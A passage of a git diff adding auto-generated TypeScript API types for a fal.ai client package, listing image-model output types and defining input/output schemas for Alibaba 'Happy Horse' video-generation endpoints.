OutputFalAiIdeogramRemoveBackground + | OutputFalAiIdeogramUpscale + | OutputFalAiIdeogramV2 + | OutputFalAiIdeogramV2Edit + | OutputFalAiIdeogramV2Remix + | OutputFalAiIdeogramV2Turbo + | OutputFalAiIdeogramV2TurboEdit + | OutputFalAiIdeogramV2TurboRemix + | OutputFalAiIdeogramV2A + | OutputFalAiIdeogramV2ARemix + | OutputFalAiIdeogramV2ATurbo + | OutputFalAiIdeogramV2ATurboRemix + | OutputFalAiIdeogramV3 + | OutputFalAiIdeogramV3Edit + | OutputFalAiIdeogramV3GenerateTransparent + | OutputFalAiIdeogramV3LayerizeText + | OutputFalAiIdeogramV3Reframe + | OutputFalAiIdeogramV3Remix + | OutputFalAiIdeogramV3ReplaceBackground + | OutputFalAiIllusionDiffusion + | OutputFalAiImageAppsV2AgeModify + | OutputFalAiImageAppsV2CityTeleport + | OutputFalAiImageAppsV2ExpressionChange + | OutputFalAiImageAppsV2HairChange + | OutputFalAiImageAppsV2HeadshotPhoto + | OutputFalAiImageAppsV2MakeupApplication + | OutputFalAiImageAppsV2ObjectRemoval + | OutputFalAiImageAppsV2Outpaint + | OutputFalAiImageAppsV2Perspective + | OutputFalAiImageAppsV2PhotoRestoration + | OutputFalAiImageAppsV2PhotographyEffects + | OutputFalAiImageAppsV2PortraitEnhance + | OutputFalAiImageAppsV2ProductHolding + | OutputFalAiImageAppsV2ProductPhotography + | OutputFalAiImageAppsV2Relighting + | OutputFalAiImageAppsV2StyleTransfer + | OutputFalAiImageAppsV2TextureTransform + | OutputFalAiImageAppsV2VirtualTryOn + | OutputFalAiImageEditingAgeProgression + | OutputFalAiImageEditingBabyVersion + | OutputFalAiImageEditingBackgroundChange + | OutputFalAiImageEditingBroccoliHaircut + | OutputFalAiImageEditingCartoonify + | OutputFalAiImageEditingColorCorrection + | OutputFalAiImageEditingExpressionChange + | OutputFalAiImageEditingFaceEnhancement + | OutputFalAiImageEditingHairChange + | OutputFalAiImageEditingObjectRemoval + | OutputFalAiImageEditingPhotoRestoration + | OutputFalAiImageEditingPlushieStyle + | OutputFalAiImageEditingProfessionalPhoto + | OutputFalAiImageEditingRealism + | OutputFalAiImageEditingReframe + | OutputFalAiImageEditingRetouch + | OutputFalAiImageEditingSceneComposition + | OutputFalAiImageEditingStyleTransfer + | OutputFalAiImageEditingTextRemoval + | OutputFalAiImageEditingTimeOfDay + | OutputFalAiImageEditingWeatherEffect + | OutputFalAiImageEditingWojakStyle + | OutputFalAiImageEditingYoutubeThumbnails + | OutputFalAiImagePreprocessorsDepthAnythingV2 + | OutputFalAiImagePreprocessorsHed + | OutputFalAiImagePreprocessorsLineart + | OutputFalAiImagePreprocessorsMidas + | OutputFalAiImagePreprocessorsMlsd + | OutputFalAiImagePreprocessorsPidi + | OutputFalAiImagePreprocessorsSam + | OutputFalAiImagePreprocessorsScribble + | OutputFalAiImagePreprocessorsTeed + | OutputFalAiImagePreprocessorsZoe + | OutputFalAiImage2Pixel + | OutputFalAiImage2Svg + | OutputFalAiImageutilsDepth + | OutputFalAiImageutilsMarigoldDepth + | OutputFalAiImageutilsRembg + | OutputFalAiInstantCharacter + | OutputFalAiIpAdapterFaceId + | OutputFalAiKlingImageO1 + | OutputFalAiKlingImageO3ImageToImage + | OutputFalAiKlingImageO3TextToImage + | OutputFalAiKlingImageV3ImageToImage + | OutputFalAiKlingImageV3TextToImage + | OutputFalAiKolors + | OutputFalAiKolorsImageToImage + | OutputFalAiKrea2Turbo + | OutputFalAiKrea2TurboLora + | OutputFalAiKrea2TurboStyle + | OutputFalAiLeffaPoseTransfer + | OutputFalAiLeffaVirtualTryon + | OutputFalAiLivePortraitImage + | OutputFalAiLongcatImage + | OutputFalAiLongcatImageEdit + | OutputFalAiLora + | OutputFalAiLoraImageToImage + | OutputFalAiLoraInpaint + | OutputFalAiLumaPhoton + | OutputFalAiLumaPhotonFlash + | OutputFalAiLumaPhotonFlashModify + | OutputFalAiLumaPhotonFlashReframe + | OutputFalAiLumaPhotonModify + | OutputFalAiLumaPhotonReframe + | OutputFalAiLuminaImageV2 + | OutputFalAiMarigoldV2 + | OutputFalAiMinimaxImage01 + | OutputFalAiMinimaxImage01SubjectReference + | OutputFalAiMoondreamNextDetection + | OutputFalAiMoondream3PreviewSegment + | OutputFalAiMossImage + | OutputFalAiNafnetDeblur + | OutputFalAiNafnetDenoise + | OutputFalAiNanoBanana + | OutputFalAiNanoBanana2 + | OutputFalAiNanoBanana2Edit + | OutputFalAiNanoBananaPro + | OutputFalAiNanoBananaProEdit + | OutputFalAiNanoBananaEdit + | OutputFalAiNucleusImage + | OutputFalAiObjectRemoval + | OutputFalAiObjectRemovalBbox + | OutputFalAiObjectRemovalMask + | OutputFalAiOmnigenV2 + | OutputFalAiPatina + | OutputFalAiPatinaMaterial + | OutputFalAiPatinaMaterialExtract + | OutputFalAiPhota + | OutputFalAiPhotaEdit + | OutputFalAiPhotaEnhance + | OutputFalAiPostProcessing + | OutputFalAiPostProcessingBlur + | OutputFalAiPostProcessingChromaticAberration + | OutputFalAiPostProcessingColorCorrection + | OutputFalAiPostProcessingColorTint + | OutputFalAiPostProcessingDesaturate + | OutputFalAiPostProcessingDissolve + | OutputFalAiPostProcessingDodgeBurn + | OutputFalAiPostProcessingGrain + | OutputFalAiPostProcessingParabolize + | OutputFalAiPostProcessingSharpen + | OutputFalAiPostProcessingSolarize + | OutputFalAiPostProcessingVignette + | OutputFalAiQwenImage + | OutputFalAiQwenImage2512 + | OutputFalAiQwenImage2512Lora + | OutputFalAiQwenImageEdit2509 + | OutputFalAiQwenImageEdit2509Lora + | OutputFalAiQwenImageEdit2509LoraGalleryAddBackground + | OutputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait + | OutputFalAiQwenImageEdit2509LoraGalleryGroupPhoto + | OutputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct + | OutputFalAiQwenImageEdit2509LoraGalleryLightingRestoration + | OutputFalAiQwenImageEdit2509LoraGalleryMultipleAngles + | OutputFalAiQwenImageEdit2509LoraGalleryNextScene + | OutputFalAiQwenImageEdit2509LoraGalleryRemoveElement + | OutputFalAiQwenImageEdit2509LoraGalleryRemoveLighting + | OutputFalAiQwenImageEdit2509LoraGalleryShirtDesign + | OutputFalAiQwenImageEdit2511 + | OutputFalAiQwenImageEdit2511MultipleAngles + | OutputFalAiQwenImageEdit2511Lora + | OutputFalAiQwenImageEditLora + | OutputFalAiQwenImageEditPlus + | OutputFalAiQwenImageEditPlusLora + | OutputFalAiQwenImageEditPlusLoraGalleryAddBackground + | OutputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait + | OutputFalAiQwenImageEditPlusLoraGalleryGroupPhoto + | OutputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct + | OutputFalAiQwenImageEditPlusLoraGalleryLightingRestoration + | OutputFalAiQwenImageEditPlusLoraGalleryMultipleAngles + | OutputFalAiQwenImageEditPlusLoraGalleryNextScene + | OutputFalAiQwenImageEditPlusLoraGalleryRemoveElement + | OutputFalAiQwenImageEditPlusLoraGalleryRemoveLighting + | OutputFalAiQwenImageEditPlusLoraGalleryShirtDesign + | OutputFalAiQwenImageEditImageToImage + | OutputFalAiQwenImageEditInpaint + | OutputFalAiQwenImageLayered + | OutputFalAiQwenImageLayeredLora + | OutputFalAiQwenImageImageToImage + | OutputFalAiRecraft20B + | OutputFalAiRecraftUpscaleCreative + | OutputFalAiRecraftUpscaleCrisp + | OutputFalAiRecraftV3ImageToImage + | OutputFalAiRecraftV3TextToImage + | OutputFalAiRecraftV41ProTextToImage + | OutputFalAiRecraftV41ProTextToVector + | OutputFalAiRecraftV41TextToImage + | OutputFalAiRecraftV41TextToVector + | OutputFalAiRecraftV41UtilityProTextToImage + | OutputFalAiRecraftV41UtilityTextToImage + | OutputFalAiRecraftV4ProTextToImage + | OutputFalAiRecraftV4ProTextToVector + | OutputFalAiRecraftV4TextToImage + | OutputFalAiRecraftV4TextToVector + | OutputFalAiRecraftVectorize + | OutputFalAiRetoucher + | OutputFalAiRife + | OutputFalAiSam31Image + | OutputFalAiSam31ImageRle + | OutputFalAiSam3Image + | OutputFalAiSam3ImageRle + | OutputFalAiSam2AutoSegment + | OutputFalAiSam2Image + | OutputFalAiSana + | OutputFalAiSanaSprint + | OutputFalAiSanaV1516B + | OutputFalAiSanaV1548B + | OutputFalAiSdxlControlnetUnion + | OutputFalAiSdxlControlnetUnionImageToImage + | OutputFalAiSdxlControlnetUnionInpainting + | OutputFalAiSeedvrUpscaleImage + | OutputFalAiSeedvrUpscaleImageSeamless + | OutputFalAiSmartResize + | OutputFalAiStableDiffusionV15 + | OutputFalAiStableDiffusionV3Medium + | OutputFalAiStableDiffusionV3MediumImageToImage + | OutputFalAiStableDiffusionV35Large + | OutputFalAiStableDiffusionV35Medium + | OutputFalAiStepxEdit2 + | OutputFalAiTelestyleV2 + | OutputFalAiUso + | OutputFalAiViduQ2ReferenceToImage + | OutputFalAiViduQ2TextToImage + | OutputFalAiViduReferenceToImage + | OutputFalAiWan25PreviewImageToImage + | OutputFalAiWan25PreviewTextToImage + | OutputFalAiWanV225BTextToImage + | OutputFalAiWanV22A14BImageToImage + | OutputFalAiWanV22A14BTextToImage + | OutputFalAiWanV22A14BTextToImageLora + | OutputFalAiWanV27Edit + | OutputFalAiWanV27ProEdit + | OutputFalAiWanV27ProTextToImage + | OutputFalAiWanV27TextToImage + | OutputFalAiWorkflowUtilitiesExtractNthFrame + | OutputFalAiZImageBase + | OutputFalAiZImageBaseLora + | OutputFalAiZImageTurbo + | OutputFalAiZImageTurboControlnet + | OutputFalAiZImageTurboControlnetLora + | OutputFalAiZImageTurboImageToImage + | OutputFalAiZImageTurboImageToImageLora + | OutputFalAiZImageTurboInpaint + | OutputFalAiZImageTurboInpaintLora + | OutputFalAiZImageTurboLora + | OutputFalAiZImageTurboTiling + | OutputFalAiZImageTurboTilingLora + | OutputGoogleNanoBanana2Lite + | OutputGoogleNanoBanana21 + | OutputGoogleNanoBanana21Edit + | OutputGoogleNanoBananaLite + | OutputGoogleNanoBananaLiteEdit + | OutputGoogleVirtualTryOn + | OutputHitem3DHi3DImageToRelief + | OutputIdeogramV4 + | OutputIdeogramV45 + | OutputIdeogramV45Edit + | OutputIdeogramV4Fast + | OutputIdeogramV4ImageToImage + | OutputIdeogramV4ImageToImageLora + | OutputIdeogramV4Instant + | OutputIdeogramV4Lora + | OutputIdeogramV4Tiling + | OutputIdeogramV4TilingLora + | OutputIdeogramVectorImageToVector + | OutputIdeogramVectorTextToVector + | OutputKreaV2LargeTextToImage + | OutputKreaV2MediumTextToImage + | OutputKreaV2MediumTurboTextToImage + | OutputKreaV3Edit + | OutputKreaV3Realtime + | OutputKreaV3TextToImage + | OutputLumaAgentUni1V1Edit + | OutputLumaAgentUni1V1Max + | OutputLumaAgentUni1V1MaxEdit + | OutputLumaAgentUni1V1TextToImage + | OutputMetaMuseImageEdit + | OutputMetaMuseImageTextToImage + | OutputMicrosoftMaiImage25 + | OutputMicrosoftMaiImage25Pro + | OutputMicrosoftMaiImage25ProEdit + | OutputMicrosoftMaiImage25Edit + | OutputNvidiaCosmos3SuperTextToImage + | OutputOpenaiGptImage2 + | OutputOpenaiGptImage25FlareEdit + | OutputOpenaiGptImage25FlareTextToImage + | OutputOpenaiGptImage25SunburstEdit + | OutputOpenaiGptImage25SunburstTextToImage + | OutputOpenaiGptImage26FlareEdit + | OutputOpenaiGptImage26FlareTextToImage + | OutputOpenaiGptImage26SunburstEdit + | OutputOpenaiGptImage26SunburstTextToImage + | OutputOpenaiGptImage2Edit + | OutputPixelcutBackgroundRemoval + | OutputPixelcutProductPhoto + | OutputRecraftV41FlashTextToImage + | OutputRecraftV4StyleProTextToImage + | OutputRecraftV4StyleProTextToVector + | OutputRecraftV4StyleTextToImage + | OutputRecraftV4StyleTextToVector + | OutputRundiffusionFalJuggernautFluxBase + | OutputRundiffusionFalJuggernautFluxBaseImageToImage + | OutputRundiffusionFalJuggernautFluxLightning + | OutputRundiffusionFalJuggernautFluxPro + | OutputRundiffusionFalJuggernautFluxProImageToImage + | OutputRundiffusionFalRundiffusionPhotoFlux + | OutputSmoretalkAiRembgEnhance + | OutputTopazAdjustImage + | OutputTopazDenoiseImage + | OutputTopazRestoreImage + | OutputTopazSharpenImage + | OutputTopazUpscaleImageCreative + | OutputTopazUpscaleImageGenerative + | OutputTopazUpscaleImagePrecision + | OutputTopazUpscaleImageTransparent + | OutputWanV26ImageToImage + | OutputWanV26TextToImage + | OutputXaiGrokImagineImage + | OutputXaiGrokImagineImageEdit + | OutputXaiGrokImagineImageQualityEdit + | OutputXaiGrokImagineImageQualityTextToImage + | OutputXaiGrokImagineImageV20Edit + | OutputXaiGrokImagineImageV20TextToImage + +export type FalGetEndpointIdRequestsRequestIdOptions = { + body?: never + path: FalGetEndpointIdRequestsRequestIdPath + query?: never + headers?: never +} + +export type FalGetEndpointIdRequestsRequestIdResponses = { + '200': FalGetEndpointIdRequestsRequestIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalGetEndpointIdRequestsRequestIdResponse = + FalGetEndpointIdRequestsRequestIdStatus200 diff --git a/packages/ai-fal/src/generated/video/types.ts b/packages/ai-fal/src/generated/video/types.ts new file mode 100644 index 0000000000..7e15699b72 --- /dev/null +++ b/packages/ai-fal/src/generated/video/types.ts @@ -0,0 +1,84219 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const inputAlibabaHappyHorseImageToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseImageToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseImageToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseImageToVideoDurationEnum] + +export const inputAlibabaHappyHorseImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseImageToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseImageToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseImageToVideoResolutionEnum] + +/** + * @description Input for Happy Horse image-to-video generation (first frame only). + * @type object + */ +export type InputAlibabaHappyHorseImageToVideo = { + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseImageToVideoDurationEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional text prompt guiding the animation. Max 2500 characters. + * @example Bring the scene in the image to life. + */ + prompt?: string | null + /** + * @description URL of the first frame image. Formats: JPEG, JPG, PNG, BMP, WEBP. Dimensions must be at least 300px. Aspect ratio must be between 1:2.5 and 2.5:1. Max 10 MB. + * @example https://help-static-aliyun-doc.aliyuncs.com/file-manage-files/zh-CN/20250925/wpimhv/rap.png + * @type string + */ + image_url: string + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseImageToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null +} + +export type VideoFile = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseImageToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseReferenceToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseReferenceToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseReferenceToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseReferenceToVideoDurationEnum] + +export const inputAlibabaHappyHorseReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputAlibabaHappyHorseReferenceToVideoAspectRatioEnumKey = + (typeof inputAlibabaHappyHorseReferenceToVideoAspectRatioEnum)[keyof typeof inputAlibabaHappyHorseReferenceToVideoAspectRatioEnum] + +export const inputAlibabaHappyHorseReferenceToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseReferenceToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseReferenceToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseReferenceToVideoResolutionEnum] + +/** + * @description Input for Happy Horse reference-to-video generation (1-9 reference images). + * @type object + */ +export type InputAlibabaHappyHorseReferenceToVideo = { + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseReferenceToVideoDurationEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt describing the desired video. Reference subjects from your images using ``character1``, ``character2``, ... up to ``character9`` (the order matches the order of ``image_urls``). Max 2500 characters. + * @minLength 1 + * @example A dance battle between character1 and character2, cinematic lighting, smooth camera movement. + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaHappyHorseReferenceToVideoAspectRatioEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseReferenceToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Reference images for subject consistency (1-9 images). Formats: JPEG, JPG, PNG, WEBP. Shortest side must be at least 400 px (720P or higher recommended). Max 10 MB each. + * @example ["https://help-static-aliyun-doc.aliyuncs.com/file-manage-files/zh-CN/20250925/wpimhv/rap.png"] + * @type array + */ + image_urls: string[] +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseReferenceToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseTextToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseTextToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseTextToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseTextToVideoDurationEnum] + +export const inputAlibabaHappyHorseTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputAlibabaHappyHorseTextToVideoAspectRatioEnumKey = + (typeof inputAlibabaHappyHorseTextToVideoAspectRatioEnum)[keyof typeof inputAlibabaHappyHorseTextToVideoAspectRatioEnum] + +export const inputAlibabaHappyHorseTextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseTextToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseTextToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseTextToVideoResolutionEnum] + +/** + * @description Input for Happy Horse text-to-video generation. + * @type object + */ +export type InputAlibabaHappyHorseTextToVideo = { + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseTextToVideoDurationEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt describing the desired video. Max 2500 characters. + * @minLength 1 + * @example A little girl walking on the road at sunset, cinematic lighting, smooth camera movement. + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaHappyHorseTextToVideoAspectRatioEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseTextToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseTextToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseV11ImageToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseV11ImageToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseV11ImageToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseV11ImageToVideoDurationEnum] + +export const inputAlibabaHappyHorseV11ImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseV11ImageToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseV11ImageToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseV11ImageToVideoResolutionEnum] + +/** + * @description Input for Happy Horse 1.1 image-to-video generation (first frame only). + * + * Identical to 1.0 except the first-frame image may be up to 20 MB (1.0 + * caps at 10 MB). + * @type object + */ +export type InputAlibabaHappyHorseV11ImageToVideo = { + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description URL of the first frame image. Formats: JPEG, JPG, PNG, BMP, WEBP. Dimensions must be at least 300px. Aspect ratio must be between 1:2.5 and 2.5:1. Max 20 MB. + * @example https://help-static-aliyun-doc.aliyuncs.com/file-manage-files/zh-CN/20250925/wpimhv/rap.png + * @type string + */ + image_url: string + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional text prompt guiding the animation. Max 2500 characters. + * @example Bring the scene in the image to life. + */ + prompt?: string | null + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseV11ImageToVideoDurationEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseV11ImageToVideoResolutionEnumKey +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseV11ImageToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseV11ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', + '5:4': '5:4', + '4:5': '4:5', +} as const + +export type InputAlibabaHappyHorseV11ReferenceToVideoAspectRatioEnumKey = + (typeof inputAlibabaHappyHorseV11ReferenceToVideoAspectRatioEnum)[keyof typeof inputAlibabaHappyHorseV11ReferenceToVideoAspectRatioEnum] + +export const inputAlibabaHappyHorseV11ReferenceToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseV11ReferenceToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseV11ReferenceToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseV11ReferenceToVideoDurationEnum] + +export const inputAlibabaHappyHorseV11ReferenceToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseV11ReferenceToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseV11ReferenceToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseV11ReferenceToVideoResolutionEnum] + +/** + * @description Input for Happy Horse 1.1 reference-to-video generation. + * @type object + */ +export type InputAlibabaHappyHorseV11ReferenceToVideo = { + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaHappyHorseV11ReferenceToVideoAspectRatioEnumKey + /** + * @description Reference images for subject consistency (1-9 images). Formats: JPEG, JPG, PNG, WEBP. Shortest side must be at least 400 px (720P or higher recommended). Max 20 MB each. + * @example ["https://help-static-aliyun-doc.aliyuncs.com/file-manage-files/zh-CN/20250925/wpimhv/rap.png"] + * @type array + */ + image_urls: string[] + /** + * @description Text prompt describing the desired video. Reference subjects from your images using ``character1``, ``character2``, ... up to ``character9`` (the order matches the order of ``image_urls``). Max 2500 characters. + * @minLength 1 + * @example A dance battle between character1 and character2, cinematic lighting, smooth camera movement. + * @type string + */ + prompt: string + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseV11ReferenceToVideoDurationEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseV11ReferenceToVideoResolutionEnumKey +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseV11ReferenceToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseV11TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', + '5:4': '5:4', + '4:5': '4:5', +} as const + +export type InputAlibabaHappyHorseV11TextToVideoAspectRatioEnumKey = + (typeof inputAlibabaHappyHorseV11TextToVideoAspectRatioEnum)[keyof typeof inputAlibabaHappyHorseV11TextToVideoAspectRatioEnum] + +export const inputAlibabaHappyHorseV11TextToVideoDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputAlibabaHappyHorseV11TextToVideoDurationEnumKey = + (typeof inputAlibabaHappyHorseV11TextToVideoDurationEnum)[keyof typeof inputAlibabaHappyHorseV11TextToVideoDurationEnum] + +export const inputAlibabaHappyHorseV11TextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseV11TextToVideoResolutionEnumKey = + (typeof inputAlibabaHappyHorseV11TextToVideoResolutionEnum)[keyof typeof inputAlibabaHappyHorseV11TextToVideoResolutionEnum] + +/** + * @description Input for Happy Horse 1.1 text-to-video generation. + * + * Identical to 1.0 except the aspect ratio adds ``21:9``, ``9:21``, ``5:4`` + * and ``4:5``. + * @type object + */ +export type InputAlibabaHappyHorseV11TextToVideo = { + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaHappyHorseV11TextToVideoAspectRatioEnumKey + /** + * @description Text prompt describing the desired video. Max 2500 characters. + * @minLength 1 + * @example A little girl walking on the road at sunset, cinematic lighting, smooth camera movement. + * @type string + */ + prompt: string + /** + * @description Output video duration in seconds (3-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputAlibabaHappyHorseV11TextToVideoDurationEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseV11TextToVideoResolutionEnumKey +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseV11TextToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaHappyHorseVideoEditResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaHappyHorseVideoEditResolutionEnumKey = + (typeof inputAlibabaHappyHorseVideoEditResolutionEnum)[keyof typeof inputAlibabaHappyHorseVideoEditResolutionEnum] + +export const inputAlibabaHappyHorseVideoEditAudioSettingEnum = { + auto: 'auto', + origin: 'origin', +} as const + +export type InputAlibabaHappyHorseVideoEditAudioSettingEnumKey = + (typeof 